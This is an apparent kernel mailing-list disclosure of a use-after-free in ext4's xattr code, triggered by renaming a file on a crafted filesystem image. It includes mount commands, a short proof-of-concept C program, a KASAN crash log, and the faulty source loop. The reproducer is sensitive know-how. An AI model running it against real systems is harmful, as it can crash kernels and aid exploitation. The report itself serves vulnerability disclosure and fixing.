[<prev] [next>] [day] [month] [year] [list]
Message-ID: <389F8980-B7DB-4532-A4BC-88CDC71A55EB@gatech.edu>
Date: Fri, 8 Jun 2018 18:37:11 +0000
From: "Xu, Wen" <wen.xu@...ech.edu>
To: "linux-ext4@...r.kernel.org" <linux-ext4@...r.kernel.org>
Subject: ext4: use-after-free detected by KASAN in ext4_xattr_set_entry when
renaming a file in a crafted ext4 image
- Overview
use-after-free detected by KASAN in ext4_xattr_set_entry when renaming a file in a crafted ext4 image
- Reproduce (KASAN build of ext4-dev branch)
# mkdir mnt
# mount -t 233.img mnt
# gcc -o poc poc.c
# ./poc ./mnt
- POC (poc.c)
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/xattr.h>
#include <dirent.h>
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/falloc.h>
#include <linux/loop.h>
static void activity(char *mpoint) {
char *foo_bar_baz;
char *foo_baz;
int err;
err = asprintf(&foo_bar_baz, "%s/foo/bar/baz", mpoint);
err = asprintf(&foo_baz, "%s/foo/baz", mpoint);
rename(foo_bar_baz, foo_baz);
}
int main(int argc, char *argv[]) {
activity(argv[1]);
return 0;
}
- Kernel Message
[ 356.651148] EXT4-fs (loop0): mounted filesystem with ordered data mode. Opts: (null)
[ 359.753782] ==================================================================
[ 359.755524] BUG: KASAN: use-after-free in ext4_xattr_set_entry+0x4c2/0x1860
[ 359.757012] Read of size 4 at addr ffff8801f3593aa4 by task a.out/1376
[ 359.758741] CPU: 0 PID: 1376 Comm: a.out Not tainted 4.17.0-rc4+ #5
[ 359.758744] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[ 359.758753] Call Trace:
[ 359.758794] dump_stack+0x7b/0xb5
[ 359.758831] print_address_description+0x70/0x290
[ 359.758837] kasan_report+0x291/0x390
[ 359.758842] ? ext4_xattr_set_entry+0x4c2/0x1860
[ 359.758848] __asan_load4+0x78/0x80
[ 359.758853] ext4_xattr_set_entry+0x4c2/0x1860
[ 359.758863] ? ext4_rename+0xcc6/0xd00
[ 359.758867] ? ext4_rename2+0xa6/0x100
[ 359.758884] ? vfs_rename+0xaa5/0xde0
[ 359.758889] ? do_renameat2+0x7d2/0x860
[ 359.758893] ? __x64_sys_rename+0x3b/0x50
[ 359.758916] ? do_syscall_64+0x78/0x170
[ 359.758931] ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 359.758939] ? ext4_xattr_block_find.isra.22+0x2c0/0x2c0
[ 359.758943] ? kasan_check_write+0x14/0x20
[ 359.758957] ? __brelse+0x4f/0x60
[ 359.758968] ? do_get_write_access+0x5ac/0x6a0
[ 359.758974] ? apic_timer_interrupt+0xa/0x20
[ 359.758982] ? __memcpy+0x12/0x20
[ 359.758986] ext4_xattr_block_set+0x5d3/0x1820
[ 359.758991] ? __x64_sys_renameat+0x70/0x70
[ 359.758998] ? ext4_xattr_block_find.isra.22+0x2c0/0x2c0
[ 359.759003] ? ext4_xattr_inode_array_free+0x60/0x60
[ 359.759013] ? __find_get_block+0x106/0x400
[ 359.759018] ? _cond_resched+0x1a/0x50
[ 359.759022] ? _cond_resched+0x1a/0x50
[ 359.759026] ? __getblk_gfp+0x31/0x3f0
[ 359.759031] ? strlen+0x25/0x40
[ 359.759035] ? xattr_find_entry+0x8a/0x140
[ 359.759041] ? ext4_xattr_block_find.isra.22+0x19e/0x2c0
[ 359.759046] ext4_expand_extra_isize_ea+0x89d/0xcb0
[ 359.759052] ? ext4_xattr_set+0x200/0x200
[ 359.759056] ? __getblk_gfp+0x31/0x3f0
[ 359.759061] ? ext4_xattr_check_entries+0x116/0x150
[ 359.759071] ? kasan_check_write+0x14/0x20
[ 359.759084] __ext4_expand_extra_isize+0xd4/0x100
[ 359.759090] ext4_mark_inode_dirty+0x3a8/0x3d0
[ 359.759095] ? ext4_expand_extra_isize+0x2e0/0x2e0
[ 359.759106] ? __ext4_check_dir_entry+0xc4/0x200
[ 359.759112] ? kasan_check_write+0x14/0x20
[ 359.759117] ext4_delete_inline_entry+0x1fa/0x300
[ 359.759122] ? ext4_find_inline_entry+0x240/0x240
[ 359.759127] ? ext4_expand_extra_isize+0x2e0/0x2e0
[ 359.759131] ext4_delete_entry+0xcc/0x270
[ 359.759135] ? ext4_generic_delete_entry+0x1f0/0x1f0
[ 359.759139] ? strncmp+0x71/0xc0
[ 359.759143] ext4_rename+0xcc6/0xd00
[ 359.759148] ? __x64_sys_rename+0x3b/0x50
[ 359.759152] ? ext4_tmpfile+0x2d0/0x2d0
[ 359.759155] ? ext4_find_entry+0x17d/0x770
[ 359.759161] ? ext4_dx_find_entry+0x2c0/0x2c0
[ 359.759166] ? kasan_check_write+0x14/0x20
[ 359.759190] ? lockref_get+0xc2/0x140
[ 359.759195] ext4_rename2+0xa6/0x100
[ 359.759200] vfs_rename+0xaa5/0xde0
[ 359.759209] ? memcg_kmem_put_cache+0x55/0xa0
[ 359.759216] ? path_mountpoint+0x5b0/0x5b0
[ 359.759219] ? kasan_check_write+0x14/0x20
[ 359.759240] ? security_path_rename+0xcb/0x130
[ 359.759245] do_renameat2+0x7d2/0x860
[ 359.759252] ? user_path_create+0x40/0x40
[ 359.759264] ? __vma_link_rb+0x12a/0x160
[ 359.759277] ? userfaultfd_unmap_complete+0x9c/0x1d0
[ 359.759283] ? handle_mm_fault+0x24b/0x380
[ 359.759298] ? mm_fault_error+0x1f0/0x1f0
[ 359.759303] ? vm_brk+0x20/0x20
[ 359.759309] __x64_sys_rename+0x3b/0x50
[ 359.759313] do_syscall_64+0x78/0x170
[ 359.759319] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 359.759335] RIP: 0033:0x7f17dba1a367
[ 359.759338] RSP: 002b:00007fffbc1f6148 EFLAGS: 00000206 ORIG_RAX: 0000000000000052
[ 359.759348] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f17dba1a367
[ 359.759350] RDX: 00000000023230a0 RSI: 00000000023230a0 RDI: 0000000002323080
[ 359.759353] RBP: 00007fffbc1f6180 R08: 0000000002323010 R09: 0000000000000000
[ 359.759355] R10: 0000000000000640 R11: 0000000000000206 R12: 00000000004004e0
[ 359.759358] R13: 00007fffbc1f6280 R14: 0000000000000000 R15: 0000000000000000
[ 359.759705] Allocated by task 939:
[ 359.760457] save_stack+0x46/0xd0
[ 359.760461] kasan_kmalloc+0xad/0xe0
[ 359.760466] kmem_cache_alloc_trace+0x102/0x200
[ 359.760482] do_syslog+0x1f1/0x680
[ 359.760494] kmsg_read+0x52/0x70
[ 359.760499] proc_reg_read+0x92/0xd0
[ 359.760504] __vfs_read+0xe7/0x3e0
[ 359.760508] vfs_read+0xbf/0x1b0
[ 359.760511] ksys_read+0xb4/0x140
[ 359.760514] __x64_sys_read+0x43/0x50
[ 359.760518] do_syscall_64+0x78/0x170
[ 359.760523] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 359.760863] Freed by task 939:
[ 359.761522] save_stack+0x46/0xd0
[ 359.761526] __kasan_slab_free+0x13c/0x1a0
[ 359.761530] kasan_slab_free+0xe/0x10
[ 359.761533] kfree+0x8c/0x1c0
[ 359.761536] do_syslog+0x5e7/0x680
[ 359.761540] kmsg_read+0x52/0x70
[ 359.761544] proc_reg_read+0x92/0xd0
[ 359.761547] __vfs_read+0xe7/0x3e0
[ 359.761550] vfs_read+0xbf/0x1b0
[ 359.761554] ksys_read+0xb4/0x140
[ 359.761557] __x64_sys_read+0x43/0x50
[ 359.761561] do_syscall_64+0x78/0x170
[ 359.761565] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 359.761914] The buggy address belongs to the object at ffff8801f3593a80
which belongs to the cache kmalloc-1024 of size 1024
[ 359.764559] The buggy address is located 36 bytes inside of
1024-byte region [ffff8801f3593a80, ffff8801f3593e80)
[ 359.766971] The buggy address belongs to the page:
[ 359.768001] page:ffffea0007cd6400 count:1 mapcount:0 mapping:0000000000000000 index:0x0 compound_mapcount: 0
[ 359.770059] flags: 0x2ffff0000008100(slab|head)
[ 359.771020] raw: 02ffff0000008100 0000000000000000 0000000000000000 00000001800e000e
[ 359.772649] raw: ffffea0007b5be00 0000000200000002 ffff8801f6c02c40 0000000000000000
[ 359.774258] page dumped because: kasan: bad access detected
[ 359.775760] Memory state around the buggy address:
[ 359.776775] ffff8801f3593980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 359.778270] ffff8801f3593a00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 359.779764] >ffff8801f3593a80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 359.781277] ^
[ 359.782181] ffff8801f3593b00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 359.783683] ffff8801f3593b80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 359.793072] ==================================================================
[ 359.794584] Disabling lock debugging due to kernel taint
[ 359.795898] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1970234923 err=-117
[ 359.836553] EXT4-fs warning (device loop0): ext4_expand_extra_isize_ea:2791: Unable to expand inode 13. Delete some EAs or run e2fsck.
- Reason
https://elixir.bootlin.com/linux/v4.17-rc7/source/fs/ext4/xattr.c#L1597
/* Compute min_offs and last. */
last = s->first;
for (; !IS_LAST_ENTRY(last); last = EXT4_XATTR_NEXT(last)) {
if (!last->e_value_inum && last->e_value_size) {
size_t offs = le16_to_cpu(last->e_value_offs);
if (offs < min_offs)
min_offs = offs;
}
}
In this loop, a dangling `last` is accessed based on KASAN report.
Multiple tries may be required to reproduce the bug. Based on the KASAN report and POC code, I report this bug separately, different from https://bugzilla.kernel.org/show_bug.cgi?id=199997 (ext4: use-after-free detected by KASAN in ext4_xattr_set_entry() when mounting and writing to a crafted ext4 image) I reported before.
Reported by Wen Xu (wen.xu@...ech.edu) from SSLab at Gatech.
Files:
233.img.zip: https://bugzilla.kernel.org/attachment.cgi?id=276405
Thanks,
Wen
Powered by blists - more mailing lists